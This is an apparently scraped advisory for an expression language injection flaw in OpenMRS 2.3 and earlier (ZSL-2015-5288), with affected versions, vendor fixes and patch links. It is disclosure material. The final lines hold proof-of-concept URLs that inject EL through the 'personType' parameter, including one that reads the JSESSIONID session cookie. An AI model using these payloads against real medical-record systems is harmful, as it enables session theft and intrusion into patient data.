OpenMRS 2.3 (1.11.4) Expression Language Injection Vulnerability

vendor:

OpenMRS

by:

Gjoko 'LiquidWorm' Krstic

N/A

CVSS

N/A

Expression Language Injection

N/A

CWE

Product Name: OpenMRS

Affected Version From: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)

Affected Version To: OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 12.04.5 LTS, Apache Tomcat/7.0.26, Apache Tomcat/6.0.36, Apache Coyote/1.1

2015

OpenMRS 2.3 (1.11.4) Expression Language Injection Vulnerability

Input passed via the 'personType' parameter is not properly sanitised in the spring's expression language support via 'addPerson.htm' script before being used. This can be exploited to inject expression language (EL) and subsequently execute arbitrary Java code.

Mitigation:

Disabled serialization and deserialization of dynamic proxies, Disabled deserialization of external entities in XML files, Disabled spring's Expression Language support

Source

Exploit-DB raw data:

OpenMRS 2.3 (1.11.4) Expression Language Injection Vulnerability


Vendor: OpenMRS Inc.
Product web page: http://www.openmrs.org
Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
                  OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))

Summary: OpenMRS is an application which enables design
of a customized medical records system with no programming
knowledge (although medical and systems analysis knowledge
is required). It is a common framework upon which medical
informatics efforts in developing countries can be built.

Desc: Input passed via the 'personType' parameter is not
properly sanitised in the spring's expression language
support via 'addPerson.htm' script before being used. This
can be exploited to inject expression language (EL) and
subsequently execute arbitrary Java code.


Tested on: Ubuntu 12.04.5 LTS
           Apache Tomcat/7.0.26
           Apache Tomcat/6.0.36
           Apache Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5288
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5288.php

Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module
Severity: Major
Exploit: Remote Code Execution by an authenticated user

Vendor Bug Fixes:

Disabled serialization and deserialization of dynamic proxies
Disabled deserialization of external entities in XML files
Disabled spring's Expression Language support

https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868
https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824
https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1
http://openmrs.org/2015/12/reference-application-2-3-1-released/
https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10
https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3
https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5
https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod
https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod
https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod

OpenMRS platform has been upgraded to version 1.11.5
Reporting module has been upgraded to version 0.9.8.1
Metadata sharing module has been upgraded to version 1.1.10
Serialization.xstream module has been upgraded to version 0.2.10

Who is affected?

Anyone running OpenMRS Platform (1.9.0 and later)
Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3
Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version.
Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version.


02.11.2015

--


http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${3*3}&viewType=
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${applicationScope}&viewType=
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=%3Ci%3E${username}&viewType=
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${cookie[%22JSESSIONID%22].value}
http://127.0.0.1:8080/openmrs/admin/person/addPerson.htm?personType=${Condition?%22Ok%22:3%3C2}